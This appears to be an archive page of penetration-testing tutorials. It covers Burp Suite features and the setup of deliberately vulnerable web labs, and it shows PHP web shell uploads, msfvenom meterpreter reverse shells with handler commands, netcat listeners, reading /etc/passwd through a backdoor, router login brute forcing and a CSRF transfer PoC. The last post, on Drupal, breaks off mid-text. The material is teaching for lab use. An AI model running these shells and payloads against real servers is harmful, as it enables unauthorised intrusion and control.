Website Hacking Archives - Hacking Articles

Hello friends!! Today we are going to discuss Importance of Engagement tools which is a Pro-only feature of Burp Suite. It is mainly use in information gathering and hence the analysis of any web application testing.

Its four important utilities are following:

Find References
Discover Content
Schedule Task
Generate CSRF POC

Find References

This function can be used to search all Burp suite tools for HTTP responses that link to a particular item. To make use of this function, select an HTTP request anywhere in Burp suite, or any part of the site map, and choose “Find references” in “Engagement tools” in the context menu which can be seen clicking Action Tab within Burp suite.

The result window of the search shows responses (from all Burp tools) that are link to the selected item. Whenever we view an individual search result, the response will be automatically highlighted to show where the linking reference is occurring.

This function treats the original URL as a Prefix whenever we search for links, so if you select a host, you will find all references related to the host and if you select a folder, you will find all references to items inside that folder.

First, we have intercepted the request of the Vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser , then the burp suite will capture the request of the web page in the intercept tab.

Then click on Action Tab, after that select the Engagement tools then click on Find References. This will open a result window which will show all the references related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.

Discover Content

This function is used to discover contents and functionality which are not linked with visible content that you can browse or spider.

There are various techniques that burp suite uses to discover content, which includes name guessing, web spidering, and extrapolation from naming conventions observed within the use of application.

Control

This tab shows you the current status of the session. The toggle button represents whether the session is running or not, and it also allows you pause and restart the session.

The following information is displayed about the progress of the discovery session:

Number of requests made
Number of bytes transferred in server responses
Number of network errors
Number of discovery tasks queued
Number of spider requests queued
Number of responses queued for analysis

Target

This option allows you to define or state the start directory of the content discovery session, and whether the files or directories should be targeted. The options that are available are as follows:

Start directory – This is the location where Burp suite is used to look for content. The items within this path and subdirectories are requested during the session.
Discover – This option can be used to determine whether the session will look for files or directories or both.

Site Map

The discovery session uses their own site map, showing all of the content which has been discovered within the defined scope. If you have configured your Burp suite to do so, newly discovered items can be added to Burp suite’s main site map.

Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Content Discovery. This will open a result window which will show the discovery session status and queued tasks which are related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.

Schedule Task

This function can be used to automatically start and stop certain tasks at defined times and intervals. We can use the task scheduler to start and stop certain automated tasks while you are not working, and to save your work periodically or at a specific time.

To make use of this function, select an HTTP request anywhere in Burp suite, or any part of the target site map, and choose “Schedule task” within “Engagement tools” in the context menu which can be seen by clicking right within Burp suite.

The types of task that are available within this function are as follows:

Scan from a URL
Pause active scanning
Resume active scanning
Spider from a URL
Pause spidering
Resume spidering
Save state

First, we have intercepted the request of the vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser , then the burp suite will capture the request of the web page in the intercept tab.

Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Schedule Task. This will open a window of schedule task options where we have selected Scan from a URL option as shown in the image.

Then Click Next a window will open where we have to give the URL we want to scan its branches from the site map.

Then Click Next we see that the scanner tab of the burp suite is open which scans all the branches beneath the site map of the given URL which is seen in the scan queue tab as shown in the image which are related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.

Generate CSRF PoC

This function can be used to generate a proof-of-concept (PoC) cross-site request forgery (CSRF) attack for any given request.

To access this function, select a URL or HTTP request anywhere in the Burp suite, and choose “Generate CSRF PoC” within “Engagement tools” in the context menu which can be seen by clicking right within Burp suite.

Let’s start!!

First, we have intercepted the request of the CSRF (transfer amount) option in the Bwapp LAB, where we have given an Account Number.

Then click on transfer, the burp suite will capture the request of the page in the intercept tab.

Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Generate CSRF PoC. This will open a window of the CSRF PoC where we made a change in Account value and Amount value in CSRF HTML code as shown in the image.

After making changes in the values click on Test in Browser option or Copy HTML this will open the window of Show response in browser then click on COPY, and then paste it in the Browser and Press Enter as shown in the image.

We see a Submit request Button is seen in the browser after that click on it.

It appears to us that the amount is reduced as we have transferred the amount from the account by making changes in the CSRF HTML code as shown in the image.

Author: Sayantan Bera is a technical writer at hacking articles and cyber security enthusiast. Contact Here

The post Engagement Tools Tutorial in Burp suite appeared first on Hacking Articles.

Hello friends!! Today we are going to discuss “Payload Encoding” option followed by payload processing of Burpsuite which is advance functionality comes under Intruder Tab for making brute force attack.

Payload Encode

The processing rule can be used to encode the payload using various schemes such as URL, HTML, Base64, ASCII hex or constructed strings.

Let’s start!!

First, we have intercepted the request of the login page of the router by giving its default IP which is 192.168.1.1, where we have given an invalid username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.

Thus the sent request will be captured by burp suite which you can see in the given below image. In the screenshot I had highlight some value in the last line. Here it tells the type of authentication provided by router is basic and if you have read above theory of basic authentication I had described that it is encoded in base 64

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now select the encoded value of authentication for payload position and click to ADD button on the left side of frame.
Choose the Attack type as

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.

The base64 encoded value of Authentication is combination of username and password now the scenario is to generate same encoded value of authentication with help of user password dictionary, therefore I have made a dictionary.

Before executing the attack we have added a payload processing rule to the payload type which is Encode and we have selected “Base64 encode” scheme because we know router takes the value in Base64.

Select Start Attack in the Intruder menu as shown in the image.

Sit back and relax because this will start brute force attack and try to match string for user authentication. In screenshot you can the status and length of the highlighted value is different from rest of values. This means we can use this encoded value to bypass the user authentication which occur from request number 10. Now check the username and password of 10th line in dictionary.

And to confirm the username and password matched, we will give the password in the Router’s Login Page, which will successfully log us into the Router’s Configuration Page. This shows our success in the attack as shown in the image.

Decode

This processing rule can be used to decode the payload using various schemes: URL, HTML, Base64 or ASCII hex. As we know decoding is nothing but reversing the encoding. It can be used in an opposite way in which encoding is carried out.

Hash

This processing rule can be used to carry out a hashing operation on the payload. There are 7 types of hashing algorithms are available in this payload processing rule which is as follows:

SHA-384
SHA-224
SHA-256
MD5
MD2
SHA
SHA-512

First, we have intercepted the request of the Redirection Link designed to find redirection vulnerabilities in the LAB created by us and in the hash value of the URL we have given a wrong hash value of HTTP://www.google.com in place of the actual hash value of the HTTP://www.hackingarticles.in in the URL of the redirecting page. We have simply clicked on the Redirection link as shown in the image; the burp suite will capture the request of the redirecting page in the intercept tab.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack which is the hash value of the redirecting page and then click on Add button.
Choose the Attack type as sniper.

Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.

Before executing the attack we have added a payload processing rule to the payload type which is Hash and then we have selected MD5 which is a commonly used algorithm for converting URL of the websites into a Hash MD5 value. As you can see the input strings of the dictionary are in a simple text form, but this processing rule converts it into Hash MD5 values which can be seen in result window of the attack.

Select Start Attack in the Intruder menu as shown in the image.

Sit back and relax because now the burp suite will do its work, match the Hash MD5 of the Redirecting Page which will give you the correct MD5 value. The moment it will find the correct value, it will change the value of length as shown in the image.

The Hash MD5 value, we will give the Hash value in the URL of the redirecting page which is HTTP://www.hackingarticles.in, which will successfully redirect us to HTTP://www.hackingarticles.in. This shows our success in the attack as shown in the image.

Add Raw Payload

This processing rule can be used to add raw payload value before or after the current processed value. For example it can come in handy whenever we want to submit the same payload in both raw and hashed form.

First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login , the burp suite will capture the request of the login page in the intercept tab.

Send the captured request to the Intruder by right clicking on the space and selecting Send to Intruder option or simply press ctrl + i. Now open the Intruder tab then select Positions tab and the following will be visible. Choose the Attack type as Sniper. Press on the Clear button as shown in the image. Now we will select the fields where we want to attack which is the password and click on Add button.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as

In the given below image we have selected password that means we will need one dictionary files for password.

Before executing the attack we have added a payload processing rule to the payload type which is Add Raw Payload and then we have selected Append Pre-processed Payload. This adds a raw payload value before and after the current processed value. As you can see the input strings of the dictionary as single input string is repeated twice which can be seen in result window of the attack.

Select Start Attack in the Intruder menu as shown in the image.

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.

And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack as shown in the image.

Skip if Matches Regex

This processing rule can be used to check the current processed value matches a specified regular expression, and if it matches it will skip the payload and will move onto the next one. For example, Suppose we have a parameter value that have a minimum length and want to skip values in the list that are shorter than minimum length defined.

First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as

In the given below image we have selected password that means we will need one dictionary files for password.

Before executing the attack we have added a payload processing rule to the payload type which is Skip if Matches Regex where we have given an input of {@} in the match regex field. Here we see that as per this rule if the input given matches with any of the input strings in the dictionary it simply skip that value and move on to next.

Now Select Start Attack in the Intruder menu as shown in the image.

Author: Ashray Gupta is a Researcher and Technical Writer at Hacking Articles. He is a certified ethical hacker, web penetration tester and a researcher in nanotechnology. Contact Here

The post Payload Processing Rule in Burp suite (Part 2) appeared first on Hacking Articles.

As you know that we have already shown you how to configure web server. Now it’s time to move on to the next step which is the configuration of Web Application in Ubuntu 18. So today we will be learning how can we configure the 5 famous web applications (DVWA, bwapp, XVWA, SQLI, Mutillidae) in our web server for Web Penetration Testing. So, let’s do that.

Table of Content

Requirement
Web application
DVWA
bWAPP
XVWA
Sqli
Mutillidae

Requirement-ubuntu 18.0

Web Application

A web application is a remote server software application. In general, web browsers are used through a network, such as an internet, to access Web applications. Like a software program running on a desktop or desktop application, the Web-app permits interaction with the user and can be designed for a wide range of applications.

DVWA

Let’s start You should download and configure this web application only within the html directory for all web applications in the browser through localhost. Go to your Ubuntu terminal and move inside html directory by running the following command and then download dvwa lab from the given link.

cd /var/www/html
git clone //github.com/ethicalhack3r/DVWA

After the installation we will go inside the dvwa and there we will find a config folder, now we will move inside the config folder and there we will run the ls command to view all available folder, now, here you will see a config.inc.php.dist file. Now as you can see, we have moved config.inc.php.dist file to config.inc.php

cd /dvwa/config
mv config.inc.php.dist config.inc.php

Now open the config file by the following command; where you will find that db user is root and db password is password.

Here you need to make the changes and give access to the Ubuntu user as in our case we have written raj as db user and as our ubuntu password is 123 so we have written 123 as db password.

Now we will try to open dvwa lab in the browser by the following URL and click on Create/Reset Database

//localhost/dvwa/setup.php

Good! We have successfully configured the dvwa lab in ubuntu 18 as we can see that we are welcomed by the login page.

For login, we will use the dvwa username which is admin and password which is dvwa password by default.

bWAPP

A buggy web application that is purposely unsafe. Enthusiasts of security, system engineers, developers can find out about Web vulnerabilities and prevent them.

bWAPP prepares you for successful tests and penetration testing. Now we will configure bWAPP lab in Ubuntu 18. First, we will download bWAPP and then we will move inside the Downloads folder and then unzip the bWAPP file by the following command-

unzip bWAPP_latest.zip

Now we will move bWAPP into var/www/html by the following command-

mv bWAPP /var/www/html

Now we will edit the config file; so, move inside the config file by the following command and where you can see that db username is root and db password is bug b default.

cd admin
ls
nano setting.php

Now we will make some changes and will set our ubuntu user raj in place of root and set password 123 in place of bug. Save it and then exit the config file.

Now go to your browser and open bWAPP installation file by the following command and click on here as shown in the image below

//localhost/bWAPP/install.php

Now you will get a login page of bWAPP where we will use the default username which is bee and default password which is bug and you are logged in in bWAPP.

Now you can start working on bWAPP.

When you will login as bee:bug; you will get the portal to test your penetration testing skill.

XVWA

XVWA is poorly coded written in PHP/MYSQL web application that helps security lovers learn security from applications. This application is not advisable online because it is Vulnerable to extremes as the name also suggests. This application should be hosted in a controlled and safe environment where you can improve your skills with the tool of your choice. So, let’s start-

First, we will download XVWA from GitHub; so, go to ubuntu terminal and open the following link to download XVWA lab inside html directory by the following link-

git clone //github.com/s4n7h0/xvwa.git

Once it is downloaded, we will open the config file of xvwa by the following command

cd xvwa
nano config.php

Now we can see that the username of xvwa is root and password is left blank.

Now we will remove the root user from here and we will be using the ubuntu username and password here which is raj:123

Afterwards, we will save the file and exit.

Now browse web application through URL-localhost/xvwa and we can see that we are successfully logged in-

SQLI Labs

A laboratory that offers a complete test environment for those interested in acquiring or improving SQL injection skills. Let’s start. First, we will download SQLI lab inside html directory by the following link-

git clone //github.com/Rinkish/Sqli_Edited_Version

Once the download is done, we will move sqli labs into the /var/www/html directory and rename it to sqli. Then go inside the sqli directory where we will find /sqli-connections directory. Here we will run ls command to check the files and we can see that here is file by the name of db-creds.inc

we need to make some changes in the config file by the following command-

cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc

As we can see that username is given root and password is left blank which we need to modify.

Now here we will set the username and password as raj:123 Now save the file and exit.

Now browse this web application from through this URL: localhost/sqli and click on Setup/reset Databases for labs.

Now the sqli lab is ready to use.

Now a page will open up in your browser which is an indication that we can access different kinds of Sqli challenges

Click on lesson 1 and start the Sqli challenge.

Mutillidae

OWASP Mutillidae is a free open source purposely vulnerable web application providing an enthusiastic goal for web security. It’s a laboratory which provides a complete test environment for those who are interested in SQL injection acquisition or improvement. This is an easy-to-use Web hacking environment designed for laboratories, security lovers, classrooms, CTFs, and vulnerability assessment targets, and has dozens of vulnerabilities and tips to help the user.

So, let’s start by downloading by the clicking on the following link given below-

git clone //github.com/webpwnized/mutillidae

After the downloading, go inside the Mutillidae directory and where you will find a directory /includes, go inside this directory.

Inside this directory, we will find database-config.inc file which we need to open by nano command as shown in the image below.

cd mutillidae
cd includes
ls
nano database-config.inc

Now here you will find that username is root and password is Mutillidae, by default and which we need to change.

Now we will use our ubuntu username and password which is raj:123. Save the changes and then exit

Now we will open this our local browser by the following URL: localhost/mutillidae where we will find an option of reset database. Just click on it to reset the database.

Now you will be redirected to a page which will ask you to click ok to proceed. Here you need to click on ok and you are done with the configuration of the Mutillidae lab.

So, In this way, we can setup our vulnerable web application lab for penetration testing.

Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information Security. Contact here

The post Configure Web Application Penetration Testing Lab appeared first on Hacking Articles.

This post will describe the various PHP web Shell uploading technique to take unauthorized access of the webserver by injecting a malicious piece of code that are written in PHP.

Table of Content

Introduction of PHP Web shells
Inbuilt Kali’s web shells
- simple backdoor.php
- qsd-php backdoor web shell
- php-reverse-shell.php
Using MSF venom
Weevely php web shell
PHP_bash web shell

Requirements

Attacker: Kali Linux

Target: Web for Pentester, DVWA

Introduction of PHP Web Shells

Web shells are the scripts which are coded in many languages like PHP, Python, ASP, Perl and so on which further use as backdoor for illegitimate access in any server by uploading it on a web server.

The attacker can then directly perform the read and write operation once the backdoor is uploaded to a destination, you can edit any file of delete the server file. Today we are going to explore all kinds of php web shells what-so-ever are available in Kali Linux and so on. So, let’s get started.

Kali Linux has inbuilt PHP Scripts for utilizing them as a backdoor to assist Pen-testing work. They are stored inside /usr/share/webshells/php and a pen-tester can directory make use of them without wasting time in writing PHP code for the malicious script.

simple backdoor.php
qsd-php backdoor web shell
php-reverse-shell.php

Simplebackdoor.php shell

Simple-backdoor.php is a kind of web shell that can generate a remote code execution once injected in the web server and script made by “John Troon”. It is already accessible in Kali in the/usr/share/web shells/php folder as shown in the pic below and after that, we will run ls -al command to check the permissions given to the files.

cd /usr/share/webshells/php
ls -al

Now you must discover a way to upload a shell in your application. As we have to do all this Web for Pentesters, so we will first try to upload here simple backdoor php shell which is already available in kali and click on send the file to upload the shell.

As you can see, we have successfully uploaded the malicious php file and received the hyperlink for the uploaded file.

Thus, we try to access simple-backdoor.php and obtain the following output. As we can observe that here “cmd=cat+/etc/passwd” is a clear indication for Remote code execution.

So, let’s try and run cat+/etc/passwd to retrieve all the passwords of the server.

cmd=cat+/etc/passwd

As a result, we have extracted all records of passwd file, hence we can execute any command such as ls, cp and so on therefore we can obtain web shell by exploiting REC.

qsd-php backdoor shell

An exploit of a web shell generally considered as a backdoor that enables an attacker to access and control a server remotely and the qsd-php backdoor shell is a kind of backdoor which provides a platform for executing system command and the wonderful script made by “Daniel Berliner”.

As you can see, we have uploaded the qsd-php-backdoor.php file successfully.

Then try accessing qsd-php-backdoor.php as you did in the previous step and you will find something as shown in the image below. Here you can perform directory traversal and you can also access the Web Server directory directly by entering the command and clicking on the go button.

As you can observe we have accessed the current directory directly without executing any system command.

We can also execute arbitrary system command since this backdoor provides a platform to execute the shell command such cat/etc/passwd, ls -al and much more. We can also run two commands simultaneously and see the result.

As you can see that we have got the result successfully.

PHP-reverse shell

Now its turn to move towards our next php web shell which is php-reverse-shell.php which will open an outbound TCP connection from the webserver to a host and script made by “pentestmonkey”. A shell will be attached to the TCP connection (reverse TCP connection). You can run interactive programs such as telnet, ssh etc with this script. It is different from the other Web shells script, through which you can send a single command and then return the output.

For this, we need to open this script through nano

nano php-reverse-shell.php

Here we need to give the LISTEN_IP (Kali Linux) where we want the connection and LISTEN_PORT number can be set any.

Now we need to upload this web shell in order to get the reverse connection. So, we will upload the malicious file and on the other hand start netcat listener inside a new terminal.

We can see that it is uploaded successfully.

Now as soon as you will execute the uploaded file and If all went well, then, the webserver should have thrown back a reverse shell to your netcat listener. And you can verify that we have got the shell successfully.

PHP Backdoor using MSFvenom

We can also generate a php web shell with the help of msfvenom. We, therefore, write use msfvenom following command for generating malicious php code in raw format.

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.106 lport=4444 R

Then copy the code and save it by the name of meter.php

Now we will upload this malicious shell in DVWA lab to get the reverse connection. Now you can see the “meter.php successfully uploaded” message from the screenshot, meaning that our php backdoor is effectively uploaded.

In order to execute the shell, we will open the URL of DVWA.

Simultaneously we will start multi handler where we will get the meterpreter shell and we will run the following commands where we need to specify the lhost and lport to get the reverse connection.

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 4444
exploit
sysinfo

As soon as you will explore the uploaded path and execute the backdoor, it will give you a meterpreter session.

Weevely Shell

Weevely is a stealthy PHP internet shell which simulates the link to Telnet and is designed for remote server administration and penetration testing. It can be used as a stealth backdoor a web shell to manage legit web accounts, it is an essential tool for web application post-exploitation. We can generate a PHP backdoor protected with the password.

Open the terminal and type weevely to generate a php backdoor and also set a password as in our case we have taken “raj123” and save this web shell as weevely.php

weevely generate raj123 weevely.php

Now upload this web shell at the target location as in our case we have uploaded it at Web for pen testers and we will open the URL in the browser to execute the web shell.

Type the following instruction to initiate the webserver attack and put a copied URL into the Weevely command using password raj123 and you can see that we have got the victim shell through weevely. We can verify this by id command.

weevely http://192.168.1.104/upload/images/weevely.php raj123
id

You can also check all the functionality of weevely through help command.

PHPbash shell

Phpbash is an internet shell that is autonomous, semi-interactive. We are going to download it from GitHub and then we will go inside the directory phpbash and execute ls -al command to check the available files.

git clone https://github.com/Arrexel/phpbash.git
cd phpbash/
ls -al

So inside phpbash, we found a php script named “phpbash.php”, upload this script at your target location.

Now we will upload this web shell in DVWA lab and we can see the message that it is uploaded successfully.

Going ahead; we will open the URL to execute the shell.

Here our phpbash malicious file is executed and given the web shell. The benefit of the phpbash is that it doesn’t require any type of listener such as netcat because it has inbuilt bash shell that you can observe from the given image.

As a result, we have bash shell of www-data and we can execute system command directly through this platform.

So, this way we have explored and performed numerous ways to get the web shell through php web shells; which you can find under this single article.

Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information Security. Contact here

The post Web Shells Penetration Testing appeared first on Hacking Articles.

For web application penetration practice, we all look for vulnerable applications like DVWA and attempt to configure vulnerable practice environments. As we all know, it’s time consuming activity and it takes a lot of effort, but this can be done in a couple of minutes with the help of the docker.

In this post you will learn how to configure vulnerable web applications (DVWA, BWAPP & etc) with the help of docker.

Table of Content

Requirement
Objective
Web application
DVWA
Mutillidae
bWAPP
Another Method

Requirement-Ubuntu 18.0

Objective:

Configure web application server on docker

Web Application

Docker

Docker is a third-party tool developed to create an isolated environment to execute any application. These applications are run using containers. These containers are unique because they bring together all the dependencies of an application into a single package and deploy it. Now, to work with docker you will need to install docker-engine in your host.

Run following the command to install docker:

apt update
apt install docker.io

Then execute the following command to activate docker

systemctl start docker
systemctl enable docker

And we have installed docker version 18.09.7 in our local machine.

Configure DVWA on Docker

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled classroom environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficulty, with a simple straightforward interface. Please note, there are both documented and undocumented vulnerabilities with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

To install and configure DVWA through docker is quite simple then manual approach, you can search for its docker image directly by typing following command on the terminal.

docker search web-dvwa

Here you can observe that it has shown the docker image for dvwa as per given rating and even you can search for the same over the internet. You will obtain the same output as shown below.

Now we can directly pull the package by executing the following command:

docker pull vulnerables/web-dvwa

And then to start docker service for dvwa; enter below command in your terminal.

docker run -p 80:80 vulnerables/web-dvwa

Good! We have successfully configured the dvwa lab in ubuntu as we can see that we are welcomed by the login page.

Enter the following URL and click on Create/Reset Database.

http://localhost/dvwa/setup.php

Once the database will get create you can login into application to access the web console.

And we have our DVWA application ready for use, thus we can see it required very less effort.

Configure Mutillidae on Docker

Similarly, we can run mutillidae using docker without wasting much time in manual configuration. Repeat the same step as done before, first pull the package and then use the docker to start mutillidae over a specific port.

docker pull szsecurity/mutillidae
docker run -p 1337:80 szsecurity/mutillidae

This time we had chosen port 1137 to launch the mutillidae application. Thus, we will open this our local browser by the following URL: localhost:1337 where we will find an option of reset database. Just click on it to reset the database.

Configure WebGoat on Docker

WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons.

This program is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.

Similarly, we can run WebGoat using docker without wasting much time in manual configuration. Repeat the same step as done before, first pull the package and then use the docker to start WebGoat over a specific port.

docker pull szsecurity/webgoat

docker run -p 1337:80 szsecurity/webgoat

To access the webgoat application run following URL in the web browser.

http://localhost:1337/WebGoat

Configure bWAPP on Docker

A buggy web application that is purposely unsafe. Enthusiasts of security, system engineers, developers can find out about Web vulnerabilities and prevent them.

Repeat the same approach and execute following command to pull its docker image.

docker pull raesene/bwapp

then use the docker to start WebGoat over a specific port.

docker run -d -p 8080:80 raesene/bwapp

Now go to your browser and open bWAPP installation file by the following command and click on here as shown in the image below

http://localhost:8080/install.php

Now you will get a login page of bWAPP where we will use the default username which is bee and default password which is bug and you are logged in in bWAPP.

Enter the credential bee:bug and get access of the web console.

Now you can start working on bWAPP.

Another Method

We can use PentestLab Management Script because this script uses docker and hosts alias to make web apps available on localhost” and it can pull the following applications.

bWAPP
WebGoat 7.1
WebGoat 8.0
Damn Vulnerable Web App
Mutillidae II
OWASP Juice Shop
WPScan Vulnerable WordPress
OpenDNS Security Ninjas
Altoro Mutual

Install and configure PentestLab Management Script

git clone https://github.com/eystsen/pentestlab.git
cd pentestLab
./pentestLab.sh --help

To checklist of a web application, use list option along with the script.

./pentestLab.sh list

To start the web application, just write the name of web application after executable script as shown here.

./pentestLab.sh start juiceshop

Execute the following URL to browse the web application.

http://127.0.0.1
or
http://juiceshop

Conclusion:

Vulnerable web application lab set-up using docker is very easy and fast as compared to other approaches. A pen-tester can easily set up his/her own vulnerable lab using docker in a very short period of time.

Hope you liked this technique to web application configuration.

Happy Hacking!!

Author: Kavish Tyagi is a Cybersecurity enthusiast and Researcher in the field of WebApp Penetration testing. Contact here

The post Web Application Pentest Lab setup Using Docker appeared first on Hacking Articles.

Hello friends! Today we are going to show you how you can set up a vulnerable web application server in a Windows system using Xampp. Here we will be configuring the most popular web applications (DVWA, bwapp, SQLI, Mutillidae). So, let’s do that.

Table of Content

Requirement

Web application
Xampp Server Installation in Windows
DVWA
bWAPP
Sqli
Mutillidae

Requirement-Xampp server (Windows-X64)

Web Application

A web application is a computer program that utilizes web browsers and web technology to perform tasks over the Internet. Web apps can be built for a wider use which can be used by anyone; from an enterprise to an entity for a variety of reasons. Frequently used Web applications can include webmail.

Xampp Server Installation

XAMPP stand for Apache + MariaDB + PHP + Perl

XAMPP is a free and open-source cross-platform web server solution stack package developed by Apache Friends, consisting mainly of the Apache HTTP Server, MariaDB database, and interpreters for scripts written in the PHP and Perl programming languages. Since most actual web server deployments use the same components as XAMPP, it makes transitioning from a local test server to a live server possible. (read more from Wikipedia)

Download from here

Once the installation is done, we need to start the service of Mysql and Apache service in Xampp server.

DVWA

DVWA is a web application that is damn sensitive to PHP / MySQL. The main objectives are to provide security professionals with assistance to test their skills and resources in a legal environment, enable web developers to better understand the processes of protecting web applications and assist teachers/students to teach/learn protection in the classroom.

Download from here

Once the dvwa is installed completely then we will navigate to C:/Xampp/htdocs/dvwa/config.inc.php.dist to change the username and password for the database.

Open the configuration file to set the Username and Password.

Here, you can notice that the default username is root and password is password which we will modify.

Now here you may notice that we have set the password “blank” for user “root”. Now save these settings and quit.

Rename the file as “config.inc.php” after making above changes and save it.

Now we need to open the DVWA application in our localhost to create the database.

http://localhost/dvwa/setup.php

Now click on create database and database is created.

Now click on login and you are done with the setup.

For login, we will use the DVWA username which is admin and password which is DVWA password by default.

Bwapp

Now let’s set up a new lab which is BWAPP.

BWAPP is a free, open-source and intentionally unreliable web application, or a web buggy program. It helps security enthusiasts, designers and students discover Web bugs and stop them from doing so. BWAPP plans for positive penetration tests and cyber ethics initiatives.

Download it from here.

Now navigate to “C:/Xampp/htdoc/bwapp/admin” folder to change the default username and password for the database.

Now you can see that the default username is root and password is bug which we will modify.

Now here the username is root and password we have set blank. Now save the settings and quit.

Now let’s open “bwapp/install.php” in the localhost and click on “here” to complete the installation.

Now the installation is complete.

When you will login as bee:bug; you will get the portal to test your penetration testing skill

Here you can click on bugs and all bugs will be displayed to you which are there in bwapp web application.

SQLI

SQLi: A facility that provides a robust testing environment for those involved in SQL injection acquisition and enhancement. Let’s start. First, we will download the SQLI lab through GitHub.

Now we will navigate to C:/htdocs/sqlilabs/sqli-connections to edit the setup-db.php.

Now here we will set the password “blank” and save the changes and then quit.

Now browse this web application from through this URL: localhost/sqli and click on Setup/reset Databases for labs.

Now the sqli lab is ready to use. Now a page will open up in your browser which is an indication that we can access different kinds of Sqli challenges

Now you can see that we have opened lesson 1. So, we have successfully set Sqli labs for practice.

Mutillidae

OWASP Mutillidae is an open-source web application that is intentionally vulnerable and actively aims at web security. It’s a laboratory for those involved in SQL injection acquisition and development, which offers a full test environment. This internet hacking framework is simple to use and is designed for labs, safety lovers, schools, CTFs and vulnerability assessments.

First, we will navigate to “C:/Xampp/htdocs/mutillidae/includes” to edit the “database-config.php” as shown below.

Here we can see that password is set mutillidae which we will replace with blank.

You can view that we have set the password “blank”. Now save the settings and quit.

Now you can see the page where you need to click on opt out tap.

Now we will open this our local browser by the following URL: localhost/mutillidae where we will find an option of reset database. Just click on it to reset the database. So, In this way, we can setup our vulnerable web application lab for penetration testing.

Now you will be redirected to a page which will ask you to click ok to proceed. Here you need to click on OK and you are done with the configuration of the Mutillidae lab.

We have successfully set all the web applications in Xampp server in Windows.

Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information Security. Contact here

The post Web Application Lab Setup on Windows appeared first on Hacking Articles.

Joomla is one of the popular Content Management System (CMS) which helps you to build your website. Joomla has gained its popularity by being user-friendly as its complication-free when during installation; and it is also pretty reliable. In this article, we learn how to get a reverse shell of Joomla.

As you can see in the image below, the website is made in Joomla. Now, that we have our Joomla environment we start exploiting it.

The attack that we are going to show is categorised under post-exploitation; which means one should have login credentials of Joomla. The URL of the login page of Joomla will be consisted of ‘joomla/administrator’ and here, enter username and password as shown in the image below :

Once you are logged in, go to extensions. A drop-down menu will appear, from this menu select templates; just like it has been shown in the image below :

Implementing the above will show you the list of templates present in the website and so we will exploit one of them i.e. Beez3 details and files.

Once, you are in the template, go to index.php as shown in the image below :

This way you will able to edit index.php in the template as you can see in the image below :

Now, swap the code of index.php with the reverse shellcode i.e. found in Kali Linux and add your IP and port in the code just like it has been shown in the image below :

Now, activate netcat to get a session with the following command :

nc -lvp 1234

Another way to get a reverse shell is by msfvenom, and for this type the following command :

msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

The above command will give you the malicious php code. Swap this code just like before and simultaneously start the multi/handler as shown in the image below :

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.9
set lport 1234
exploit

These were the two ways to get a reverse shell in Joomla.

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here

The post Joomla: Reverse Shell appeared first on Hacking Articles.

In this post, you will learn how to test security loopholes in Drupal CMS for any critical vulnerability which can cause great damage to any website if found on any webserver. In this article, you will learn how a misconfigured web application can be easily exploited.

Remote Code Execution: Remote Code Evaluation is a vulnerability that occurs because of the unsafe handling of inputs by the server application or that can be exploited if user input is injected into a File or a String and executed by the programming language’s parser or the user input is not sanitised properly in POST request and also when accepting query string param during GET requests.

Therefore a Remote Code Evaluation can lead to a full compromise of the vulnerable web application and also a web server.

Let’s Begin!!

So the drupal is accessible through a web browser by exploring the following URL:

http://192.168.10.117/drupal

And this opens the default home page, to access the dashboard you must-have credential for login.

So, to access the user console, I used following creds.

Username:raj
Password:123

After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. We, therefore, move to install new module through Manage>Extend>List>Install new module.

You can download the PHP package for Drupal from the URL below and upload the tar file to install the new module.

